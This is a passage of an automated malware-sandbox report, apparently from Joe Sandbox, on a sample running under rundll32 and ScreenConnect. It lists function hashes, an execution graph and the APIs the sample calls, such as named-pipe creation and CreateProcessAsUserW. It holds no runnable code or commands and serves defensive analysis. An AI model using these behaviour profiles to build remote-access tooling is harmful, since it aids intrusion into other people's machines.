                                                                                          • Opcode Fuzzy Hash: b983da3dbe9126ea581fd370356d9d3ad6c97fc5ad90a046bf63d819f92d0fba
                                                                                          • Instruction Fuzzy Hash: 55E01270906208EF8B40EFE8E94299DBBB9EB44208B1045A9E80AD7200DE316E069B91
                                                                                          Function 06E30C0C Relevance: .0, Instructions: 17COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 86d9594f454d55c795a491093f87e86462b6730f0feb914f92053b36dc363711
                                                                                          • Instruction ID: 1f4d7946088d7bc1abe6b5e55952727871c685376c25f91a19bf6c800543e0ad
                                                                                          • Opcode Fuzzy Hash: 86d9594f454d55c795a491093f87e86462b6730f0feb914f92053b36dc363711
                                                                                          • Instruction Fuzzy Hash: E0D0A7326101387B56486758D88A8AABB99E7892603104437F90283324CD61AC41C7D9
                                                                                          Function 06E37EE2 Relevance: .0, Instructions: 17COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 295b78f8e29b2cc1a815fdde0bdd784545350a71e6a0b713c0840448731e90b2
                                                                                          • Instruction ID: 4f51ef7e1020116fb62c85823d9fed5a8cf9fcec91227b0ffa0f5cff2b9c65cc
                                                                                          • Opcode Fuzzy Hash: 295b78f8e29b2cc1a815fdde0bdd784545350a71e6a0b713c0840448731e90b2
                                                                                          • Instruction Fuzzy Hash: A7E01270915218DF8F80DFA8E6555FDB7B6EB842047105AED980AD3704DB311E45DF85
                                                                                          Function 06E37EE8 Relevance: .0, Instructions: 17COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 50b8b3ece64295e5a4d1a7dd72105d8914dfa2ceb28e2cbfe22d61d4ed4de45e
                                                                                          • Instruction ID: 20d9af2f6a533e2776d4171ee48bfd434a5201a7423b036e021b35180c18eabd
                                                                                          • Opcode Fuzzy Hash: 50b8b3ece64295e5a4d1a7dd72105d8914dfa2ceb28e2cbfe22d61d4ed4de45e
                                                                                          • Instruction Fuzzy Hash: CCD01270A15208EF8F40DFA8E6015ACB7B6EB442047104AE89809D3304DB311E45DF51
                                                                                          Function 06E30440 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 48af772858b24a7930a7dbc4d0b35a9bef93f6e40809c326892a686deff2b61f
                                                                                          • Instruction ID: 5d9f52dfdce93429529932dd5902bf7c2ebbcdb1ee50318098e0a3a14620c869
                                                                                          • Opcode Fuzzy Hash: 48af772858b24a7930a7dbc4d0b35a9bef93f6e40809c326892a686deff2b61f
                                                                                          • Instruction Fuzzy Hash: 5FD0C7B1D197D07FD347425949494A96F21F57310978D51A2D04188056D16A4657D371
                                                                                          Function 06E32968 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 46f71099e84f63ed2d9dba896707862b28c96cdcedb2b77c08febbf7583b4825
                                                                                          • Instruction ID: d511cd132dc74f83eeb84e5cbfeeb6e40859efffffd01b55242d5eb1b724845a
                                                                                          • Opcode Fuzzy Hash: 46f71099e84f63ed2d9dba896707862b28c96cdcedb2b77c08febbf7583b4825
                                                                                          • Instruction Fuzzy Hash: 54D05B7090520CEFCB40DFE8D90155DBBB5EB44204B1045A9D809D7300DF317F059B81
                                                                                          Function 06E37EF0 Relevance: .0, Instructions: 16COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 3ddf9ff8c5e346c470d45992946b9f0efc602ea75f2137052a0c641eea3da1bd
                                                                                          • Instruction ID: 593535059452738ed37fef008844182885192aaa50e46a9eec4144f887918f3c
                                                                                          • Opcode Fuzzy Hash: 3ddf9ff8c5e346c470d45992946b9f0efc602ea75f2137052a0c641eea3da1bd
                                                                                          • Instruction Fuzzy Hash: 91D01730A01208EF8B40EFA8EA0155DBBBAEB44214B104AE89809D3304EE316E459F91
                                                                                          Function 06E394E4 Relevance: .0, Instructions: 15COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: bf787538fb0f3912ee33a6b5964da484a058ce2886c09f7fedb130f90783bbe5
                                                                                          • Instruction ID: 3220aa63e2b2596ec0ddbe5d2d4c87be5ca073a992613b56c046df84d583acbb
                                                                                          • Opcode Fuzzy Hash: bf787538fb0f3912ee33a6b5964da484a058ce2886c09f7fedb130f90783bbe5
                                                                                          • Instruction Fuzzy Hash: 28D022323000208FC304D3ACF11096837A98B8D32971000ABE20DCF331C9A19C004788
                                                                                          Function 06E32F0D Relevance: .0, Instructions: 13COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000003.1699701516.0000000006E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_3_6e30000_rundll32.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 94b217225e8a6d6dad9fae8b1689eec019fa6d584d70947039f54237bc4cd8c0
                                                                                          • Instruction ID: 163dd2d8de55ebb1991b74044c13d74a8d413b063220aea18c1abcb446320928
                                                                                          • Opcode Fuzzy Hash: 94b217225e8a6d6dad9fae8b1689eec019fa6d584d70947039f54237bc4cd8c0
                                                                                          • Instruction Fuzzy Hash: E5C01225F623309BC65022A82208269579D8B84025F2594A7DE589B605957448015384

                                                                                          Execution Graph

                                                                                          Execution Coverage:15.3%
                                                                                          Dynamic/Decrypted Code Coverage:100%
                                                                                          Signature Coverage:2.8%
                                                                                          Total number of Nodes:361
                                                                                          Total number of Limit Nodes:17
                                                                                          execution_graph 45855 5f33160 45856 5f33172 45855->45856 45857 5f331b6 45856->45857 45859 5f331c1 45856->45859 45861 5f331cf 45859->45861 45860 5f33640 45861->45860 45864 1877490 45861->45864 45868 187747f 45861->45868 45865 18774ba 45864->45865 45866 18774d5 45865->45866 45872 187f910 45865->45872 45866->45861 45869 18774ba 45868->45869 45870 18774d5 45869->45870 45871 187f910 3 API calls 45869->45871 45870->45861 45871->45870 45873 187f933 45872->45873 45875 187f943 45872->45875 45874 187f93c 45873->45874 45885 4554877 3 API calls 45873->45885 45886 4554862 3 API calls 45873->45886 45887 45548f8 3 API calls 45873->45887 45888 45548e8 3 API calls 45873->45888 45889 4554888 3 API calls 45873->45889 45874->45866 45875->45873 45879 187f910 3 API calls 45875->45879 45890 4554877 45875->45890 45897 187a4a0 45875->45897 45905 4554862 45875->45905 45912 45548e8 45875->45912 45919 187fa98 45875->45919 45926 45548f8 45875->45926 45933 4554888 45875->45933 45940 187a4b0 45875->45940 45879->45873 45885->45873 45886->45873 45887->45873 45888->45873 45889->45873 45892 455487b 45890->45892 45891 4554925 45891->45873 45892->45873 45893 455491c 45892->45893 45896 187f910 3 API calls 45892->45896 45893->45891 45948 4556330 45893->45948 45953 4556380 45893->45953 45896->45893 45899 187a4b0 45897->45899 45898 187a4d5 45898->45873 45899->45898 45900 4554877 3 API calls 45899->45900 45901 4554862 3 API calls 45899->45901 45902 45548f8 3 API calls 45899->45902 45903 45548e8 3 API calls 45899->45903 45904 4554888 3 API calls 45899->45904 45900->45898 45901->45898 45902->45898 45903->45898 45904->45898 45907 455486b 45905->45907 45906 4554925 45906->45873 45907->45873 45908 455491c 45907->45908 45909 187f910 3 API calls 45907->45909 45908->45906 45910 4556330 3 API calls 45908->45910 45911 4556380 3 API calls 45908->45911 45909->45908 45910->45906 45911->45906 45914 455492c 45912->45914 45915 455491c 45912->45915 45913 4554925 45913->45873 45918 187f910 3 API calls 45914->45918 45915->45913 45916 4556330 3 API calls 45915->45916 45917 4556380 3 API calls 45915->45917 45916->45913 45917->45913 45918->45915 45920 187fabb 45919->45920 45921 187facb 45919->45921 45922 187fac4 45920->45922 46000 187ff20 45920->46000 45921->45920 45923 187f910 3 API calls 45921->45923 45924 187fa98 3 API calls 45921->45924 45922->45873 45923->45920 45924->45920 45928 455491c 45926->45928 45929 455492c 45926->45929 45927 4554925 45927->45873 45928->45927 45931 4556330 3 API calls 45928->45931 45932 4556380 3 API calls 45928->45932 45930 187f910 3 API calls 45929->45930 45930->45928 45931->45927 45932->45927 45935 4554895 45933->45935 45934 4554925 45934->45873 45935->45873 45936 455491c 45935->45936 45937 187f910 3 API calls 45935->45937 45936->45934 45938 4556330 3 API calls 45936->45938 45939 4556380 3 API calls 45936->45939 45937->45936 45938->45934 45939->45934 45941 187a4d5 45940->45941 45942 187a4e1 45940->45942 45941->45873 45942->45941 45943 4554877 3 API calls 45942->45943 45944 4554862 3 API calls 45942->45944 45945 45548f8 3 API calls 45942->45945 45946 45548e8 3 API calls 45942->45946 45947 4554888 3 API calls 45942->45947 45943->45941 45944->45941 45945->45941 45946->45941 45947->45941 45949 4556361 45948->45949 45952 4556380 3 API calls 45949->45952 45962 4556390 45949->45962 45950 4556376 45950->45891 45952->45950 45954 455632f 45953->45954 45955 455638a 45953->45955 45958 4556390 3 API calls 45954->45958 45959 4556380 3 API calls 45954->45959 45960 4556452 3 API calls 45955->45960 45961 45563ef 3 API calls 45955->45961 45956 4556376 45956->45891 45957 45563d3 45957->45891 45958->45956 45959->45956 45960->45957 45961->45957 45963 45563b9 45962->45963 45967 4556452 45963->45967 45972 45563ef 45963->45972 45964 45563d3 45964->45950 45968 4556421 45967->45968 45971 455647a 45967->45971 45976 4550448 45968->45976 45970 4556445 45970->45964 45971->45964 45973 455642d 45972->45973 45974 4550448 3 API calls 45973->45974 45975 4556445 45974->45975 45975->45964 45977 4550468 45976->45977 45980 572e408 45976->45980 45985 572e3f8 45976->45985 45977->45970 45981 572e41a 45980->45981 45990 572e4ac 45981->45990 45995 572e470 45981->45995 45982 572e43d 45982->45977 45986 572e41a 45985->45986 45988 572e470 3 API calls 45986->45988 45989 572e4ac 3 API calls 45986->45989 45987 572e43d 45987->45977 45988->45987 45989->45987 45991 572e4b7 45990->45991 45993 572e7c3 CreateNamedPipeW CreateNamedPipeW 45991->45993 45994 572e7c8 CreateNamedPipeW CreateNamedPipeW 45991->45994 45992 572e4d8 45992->45982 45993->45992 45994->45992 45996 572e498 45995->45996 45998 572e7c3 CreateNamedPipeW CreateNamedPipeW 45996->45998 45999 572e7c8 CreateNamedPipeW CreateNamedPipeW 45996->45999 45997 572e4d8 45997->45982 45998->45997 45999->45997 46001 187ff3d 46000->46001 46003 4550448 3 API calls 46001->46003 46002 187ffa4 46002->45922 46003->46002 46004 572fb98 46005 572fbec ConnectNamedPipe 46004->46005 46006 572fc28 46005->46006 46011 5723608 46012 5723618 46011->46012 46013 5723628 46012->46013 46016 57237b8 46012->46016 46031 572385d 46012->46031 46017 572382d 46016->46017 46018 57237c2 46016->46018 46017->46013 46018->46017 46046 572dff2 46018->46046 46051 572dced 46018->46051 46056 572dd6c 46018->46056 46061 572568e 46018->46061 46068 572db28 46018->46068 46073 57247c8 46018->46073 46080 5723ca0 46018->46080 46085 5725600 46018->46085 46092 57247b9 46018->46092 46099 572db18 46018->46099 46104 572569a 46018->46104 46111 5723c71 46018->46111 46032 57237cd 46031->46032 46033 572382d 46032->46033 46034 572dff2 3 API calls 46032->46034 46035 5723c71 5 API calls 46032->46035 46036 572569a 7 API calls 46032->46036 46037 572db18 3 API calls 46032->46037 46038 57247b9 7 API calls 46032->46038 46039 5725600 7 API calls 46032->46039 46040 5723ca0 5 API calls 46032->46040 46041 57247c8 7 API calls 46032->46041 46042 572db28 3 API calls 46032->46042 46043 572568e 7 API calls 46032->46043 46044 572dd6c 3 API calls 46032->46044 46045 572dced 3 API calls 46032->46045 46033->46013 46034->46033 46035->46033 46036->46033 46037->46033 46038->46033 46039->46033 46040->46033 46041->46033 46042->46033 46043->46033 46044->46033 46045->46033 46048 572db98 46046->46048 46047 572e0c2 46047->46047 46048->46047 46049 4556390 3 API calls 46048->46049 46050 4556380 3 API calls 46048->46050 46049->46048 46050->46048 46052 572db98 46051->46052 46052->46051 46053 572e0c2 46052->46053 46054 4556390 3 API calls 46052->46054 46055 4556380 3 API calls 46052->46055 46054->46052 46055->46052 46058 572db98 46056->46058 46057 572e0c2 46057->46057 46058->46057 46059 4556390 3 API calls 46058->46059 46060 4556380 3 API calls 46058->46060 46059->46058 46060->46058 46062 572489b 46061->46062 46063 5724927 46062->46063 46064 5724dc8 46062->46064 46116 57263e3 46062->46116 46063->46064 46122 5727ea1 46063->46122 46127 5727eb0 46063->46127 46064->46017 46070 572db5a 46068->46070 46069 572e0c2 46069->46069 46070->46069 46071 4556390 3 API calls 46070->46071 46072 4556380 3 API calls 46070->46072 46071->46070 46072->46070 46074 5724804 46073->46074 46075 5724927 46074->46075 46076 5724dc8 46074->46076 46077 57263e3 5 API calls 46074->46077 46075->46076 46078 5727eb0 2 API calls 46075->46078 46079 5727ea1 2 API calls 46075->46079 46076->46017 46077->46075 46078->46075 46079->46075 46082 5723cb3 46080->46082 46081 5723cfb 46081->46017 46082->46081 46083 57263e3 5 API calls 46082->46083 46266 57263f0 46082->46266 46083->46082 46086 572489b 46085->46086 46087 5724927 46086->46087 46088 5724dc8 46086->46088 46091 57263e3 5 API calls 46086->46091 46087->46088 46089 5727eb0 2 API calls 46087->46089 46090 5727ea1 2 API calls 46087->46090 46088->46017 46089->46087 46090->46087 46091->46087 46093 57247ca 46092->46093 46094 5724927 46093->46094 46095 5724dc8 46093->46095 46096 57263e3 5 API calls 46093->46096 46094->46095 46097 5727eb0 2 API calls 46094->46097 46098 5727ea1 2 API calls 46094->46098 46095->46017 46096->46094 46097->46094 46098->46094 46101 572db5a 46099->46101 46100 572e0c2 46100->46100 46101->46100 46102 4556390 3 API calls 46101->46102 46103 4556380 3 API calls 46101->46103 46102->46101 46103->46101 46105 572489b 46104->46105 46106 5724927 46105->46106 46107 5724dc8 46105->46107 46108 57263e3 5 API calls 46105->46108 46106->46107 46109 5727eb0 2 API calls 46106->46109 46110 5727ea1 2 API calls 46106->46110 46107->46017 46108->46106 46109->46106 46110->46106 46113 5723cb3 46111->46113 46112 5723cfb 46112->46017 46113->46112 46114 57263e3 5 API calls 46113->46114 46115 57263f0 5 API calls 46113->46115 46114->46113 46115->46113 46117 57263ef 46116->46117 46118 572646b 46116->46118 46119 57263fb 46117->46119 46132 57285b0 46117->46132 46137 57285a0 46117->46137 46118->46063 46119->46063 46124 5727eb0 46122->46124 46123 5727ee0 46123->46063 46124->46123 46258 5b329b0 46124->46258 46262 5b329c0 46124->46262 46128 5727ed9 46127->46128 46129 5727ee0 46127->46129 46128->46129 46130 5b329b0 RegDisablePredefinedCache 46128->46130 46131 5b329c0 RegDisablePredefinedCache 46128->46131 46129->46063 46130->46128 46131->46128 46133 57285ed 46132->46133 46134 57285f1 46133->46134 46142 572c822 46133->46142 46150 572c5be 46133->46150 46134->46119 46139 57285af 46137->46139 46138 57285f1 46138->46119 46139->46138 46140 572c822 5 API calls 46139->46140 46141 572c5be 5 API calls 46139->46141 46140->46138 46141->46138 46144 572c691 46142->46144 46143 572c851 46143->46134 46144->46143 46158 5f30040 46144->46158 46165 5f3095e 46144->46165 46169 5f302cf 46144->46169 46173 5f30006 46144->46173 46180 5f30967 46144->46180 46152 572c5c8 46150->46152 46151 572c851 46151->46134 46152->46151 46153 5f30040 5 API calls 46152->46153 46154 5f30967 3 API calls 46152->46154 46155 5f30006 5 API calls 46152->46155 46156 5f302cf 3 API calls 46152->46156 46157 5f3095e 3 API calls 46152->46157 46153->46152 46154->46152 46155->46152 46156->46152 46157->46152 46159 5f30071 46158->46159 46161 5f30207 46159->46161 46184 5f31321 46159->46184 46190 5f31340 46159->46190 46160 5f30a4e 46160->46160 46195 5f324af 46161->46195 46166 5f309c1 46165->46166 46168 5f324af 3 API calls 46166->46168 46167 5f30a4e 46168->46167 46170 5f302db 46169->46170 46172 5f324af 3 API calls 46170->46172 46171 5f30a4e 46171->46171 46172->46171 46174 5f30014 46173->46174 46176 5f30207 46174->46176 46177 5f31321 2 API calls 46174->46177 46178 5f31340 2 API calls 46174->46178 46175 5f30a4e 46175->46175 46179 5f324af 3 API calls 46176->46179 46177->46176 46178->46176 46179->46175 46181 5f30972 46180->46181 46183 5f324af 3 API calls 46181->46183 46182 5f30a4e 46182->46182 46183->46182 46185 5f3132a 46184->46185 46185->46161 46186 5f31334 46185->46186 46203 5f313b1 46185->46203 46208 5f313c0 46185->46208 46186->46161 46191 5f31341 46190->46191 46193 5f313b1 2 API calls 46191->46193 46194 5f313c0 2 API calls 46191->46194 46192 5f31374 46192->46161 46193->46192 46194->46192 46196 5f324de 46195->46196 46198 5f324f7 46196->46198 46221 5f32612 46196->46221 46228 5f32620 46196->46228 46197 5f32520 46201 5f32612 3 API calls 46197->46201 46202 5f32620 3 API calls 46197->46202 46198->46160 46201->46198 46202->46198 46204 5f313c0 46203->46204 46213 5f32280 46204->46213 46217 5f32279 46204->46217 46205 5f314b9 46209 5f313c1 46208->46209 46211 5f32280 CreateProcessAsUserW 46209->46211 46212 5f32279 CreateProcessAsUserW 46209->46212 46210 5f314b9 46211->46210 46212->46210 46214 5f322d3 CreateProcessAsUserW 46213->46214 46216 5f32364 46214->46216 46216->46205 46219 5f32280 CreateProcessAsUserW 46217->46219 46220 5f32364 46219->46220 46220->46205 46223 5f3262d 46221->46223 46224 5f32664 46223->46224 46235 5f31764 46223->46235 46239 5b30200 46224->46239 46244 5b301ef 46224->46244 46225 5f3266f 46225->46197 46229 5f3262d 46228->46229 46230 5f31764 WaitNamedPipeW 46229->46230 46231 5f32664 46229->46231 46230->46229 46233 5b30200 2 API calls 46231->46233 46234 5b301ef 2 API calls 46231->46234 46232 5f3266f 46232->46197 46233->46232 46234->46232 46237 5f32688 WaitNamedPipeW 46235->46237 46238 5f32704 46237->46238 46238->46223 46240 5b30201 46239->46240 46249 5b30250 46240->46249 46253 5b30244 46240->46253 46245 5b30200 46244->46245 46247 5b30250 CreateFileA 46245->46247 46248 5b30244 CreateFileA 46245->46248 46246 5b30238 46246->46225 46247->46246 46248->46246 46251 5b302ae CreateFileA 46249->46251 46252 5b30385 46251->46252 46256 5b301d8 46253->46256 46254 5b301db 46254->46225 46255 5b30323 CreateFileA 46257 5b30385 46255->46257 46256->46254 46256->46255 46256->46256 46259 5b329be 46258->46259 46260 5b32a79 RegDisablePredefinedCache 46259->46260 46261 5b32a5c 46259->46261 46260->46261 46263 5b329c5 46262->46263 46264 5b32a79 RegDisablePredefinedCache 46263->46264 46265 5b32a5c 46263->46265 46264->46265 46267 57285b0 5 API calls 46266->46267 46268 57285a0 5 API calls 46266->46268 46269 57263fb 46266->46269 46267->46269 46268->46269 46269->46082 46270 4555f68 46271 4555f8c 46270->46271 46272 4555f9c 46270->46272 46273 4555f95 46271->46273 46276 4556198 3 API calls 46271->46276 46277 4556188 3 API calls 46271->46277 46278 4556198 46272->46278 46284 4556188 46272->46284 46276->46271 46277->46271 46279 45561cb 46278->46279 46280 45561bb 46278->46280 46282 187f910 3 API calls 46279->46282 46281 45561c4 46280->46281 46283 187f910 3 API calls 46280->46283 46281->46271 46282->46280 46283->46280 46285 4556198 46284->46285 46287 45561bb 46285->46287 46288 187f910 3 API calls 46285->46288 46286 45561c4 46286->46271 46287->46286 46289 187f910 3 API calls 46287->46289 46288->46287 46289->46287 46007 187f768 46008 187f78c 46007->46008 46009 187f793 46007->46009 46008->46009 46010 187f910 3 API calls 46008->46010 46010->46009

                                                                                          Executed Functions

                                                                                          Function 0572E7C8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172pipeCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 230 572e7c8-572e84e 239 572e850-572e852 230->239 240 572e859-572e865 230->240 239->240 242 572e870-572e872 240->242 243 572e867-572e86e 240->243 245 572e880-572e8a8 242->245 243->242 244 572e874-572e87b 243->244 246 572e8da-572e932 244->246 247 572e87d 244->247 249 572e8b1 245->249 250 572e8aa-572e8af 245->250 254 572e934-572e937 246->254 255 572e93a-572e99f CreateNamedPipeW 246->255 247->245 252 572e8b6-572e8cb call 572d7bc 249->252 250->252 257 572e8d0-572e8d7 252->257 254->255 259 572e9a1-572e9a7 255->259 260 572e9a8-572e9c9 255->260 259->260
                                                                                          APIs
                                                                                          • CreateNamedPipeW.KERNEL32(00000000,00000001,00000008,?,?,?,00000001,00000004), ref: 0572E98C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949312935.0000000005720000.00000040.00000800.00020000.00000000.sdmp, Offset: 05720000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5720000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateNamedPipe
                                                                                          • String ID: 4L^q$d/dq
                                                                                          • API String ID: 2489174969-3455392024
                                                                                          • Opcode ID: 606c723b6f361a07f9d59c370e7ecdb74775633bd149b5aea54f3076082672ee
                                                                                          • Instruction ID: f584533acebad00c034b9ae5dc76ac7d186753b93dc5607e251b5f33c09afd12
                                                                                          • Opcode Fuzzy Hash: 606c723b6f361a07f9d59c370e7ecdb74775633bd149b5aea54f3076082672ee
                                                                                          • Instruction Fuzzy Hash: 9E61A370A003199FDB14DFA9D844BAEBBF6FF88310F14C06AE948AB391D7759905CB91
                                                                                          Function 057285B0 Relevance: 2.8, Strings: 1, Instructions: 1517COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949312935.0000000005720000.00000040.00000800.00020000.00000000.sdmp, Offset: 05720000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5720000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: `Q^q
                                                                                          • API String ID: 0-1948671464
                                                                                          • Opcode ID: 44a5747192b3d5f8432ae7b703041e771ed1e4fb07ee177c9f6234587e0db943
                                                                                          • Instruction ID: e10e5476b39f681e172f46186ec0f585d4173ec2e5b15fb64936099e72e1321e
                                                                                          • Opcode Fuzzy Hash: 44a5747192b3d5f8432ae7b703041e771ed1e4fb07ee177c9f6234587e0db943
                                                                                          • Instruction Fuzzy Hash: ACE22774E00229CFDB25DF28C984799BBB6FF89300F1085AAD509AB354DB71AE85DF41
                                                                                          Function 05F32280 Relevance: 1.6, APIs: 1, Instructions: 93processCOMMON
                                                                                          Download Yara Rule
                                                                                          APIs
                                                                                          • CreateProcessAsUserW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000000,?,?), ref: 05F3234F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2950578521.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5f30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateProcessUser
                                                                                          • String ID:
                                                                                          • API String ID: 2217836671-0
                                                                                          • Opcode ID: b6cc5d9a304e8904b0ffbfbc0a67de284807f924fefc0c8f83fa84580b105274
                                                                                          • Instruction ID: d6f21f618c98eb425f9ed8de7b4adf34aaf0a257185c2d8c01c1ec2492355687
                                                                                          • Opcode Fuzzy Hash: b6cc5d9a304e8904b0ffbfbc0a67de284807f924fefc0c8f83fa84580b105274
                                                                                          • Instruction Fuzzy Hash: 0D411476900249DFDF10CFA9C884ADEBBF6FF48310F14852AE958A7250D739A955CFA0
                                                                                          Function 0572A6F8 Relevance: .8, Instructions: 827COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2949312935.0000000005720000.00000040.00000800.00020000.00000000.sdmp, Offset: 05720000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5720000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 45eb2305d769be15dd49d89787b9eb7f9272b559b49dd20c83df84e56e5ef3bd
                                                                                          • Instruction ID: 22ca384cd7773ef4572cd7664221e259659ba4c4815b1af438221042e52ac9a2
                                                                                          • Opcode Fuzzy Hash: 45eb2305d769be15dd49d89787b9eb7f9272b559b49dd20c83df84e56e5ef3bd
                                                                                          • Instruction Fuzzy Hash: 4F725F70E002198FDB24DF65C994BADB7F6BF88300F1485A9D509AB391DB74AD85CF90
                                                                                          Function 05F30040 Relevance: .6, Instructions: 567COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2950578521.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_5f30000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 09d020063f383331d6de040a402ffaa9b26326cf7e388c570d217ee02564dc69
                                                                                          • Instruction ID: 6e494ab471091a325804e8f8b08ec932e70c76e3e12ca379f64d363e9f287fcd
                                                                                          • Opcode Fuzzy Hash: 09d020063f383331d6de040a402ffaa9b26326cf7e388c570d217ee02564dc69
                                                                                          • Instruction Fuzzy Hash: CA323B74A002198FDB14DF28D899B9DBBF6FF88310F1485A9E809AB355DB70AD85CF40
                                                                                          Function 045531F0 Relevance: 6.5, Strings: 5, Instructions: 211COMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
                                                                                          control_flow_graph 114 45531f0-4553295 call 4553508 126 4553297-45532ad 114->126 127 45532d8-455343e 114->127 130 45532b6-45532d6 126->130 131 45532af 126->131 176 4553441 call 5721f08 127->176 177 4553441 call 5721ef8 127->177 130->127 131->130 161 4553447-4553505 176->161 177->161
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000006.00000002.2946186804.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_6_2_4550000_ScreenConnect.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: 4'^q$4'^q$4'^q$4'^q$4'^q
                                                                                          • API String ID: 0-4202989938
                                                                                          • Opcode ID: 251232ca786e5b0018a6d7a3aa27227de61ef0868c17b4359c35080850144b76
                                                                                          • Instruction ID: f17e2a8cdc31f937775aab70f5fec45879651b76267f3f269822b7d1801a5e02
                                                                                          • Opcode Fuzzy Hash: 251232ca786e5b0018a6d7a3aa27227de61ef0868c17b4359c35080850144b76
                                                                                          • Instruction Fuzzy Hash: F2815030A006069FD715EF78D59469EFBE2FF84304B408A2CD44A9B768EF70F9498B94
                                                                                          Function 05B30244 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128fileCOMMON
                                                                                          Download Yara Rule

                                                                                          Control-flow Graph

                                                                                          • Executed
                                                                                          • Not Executed
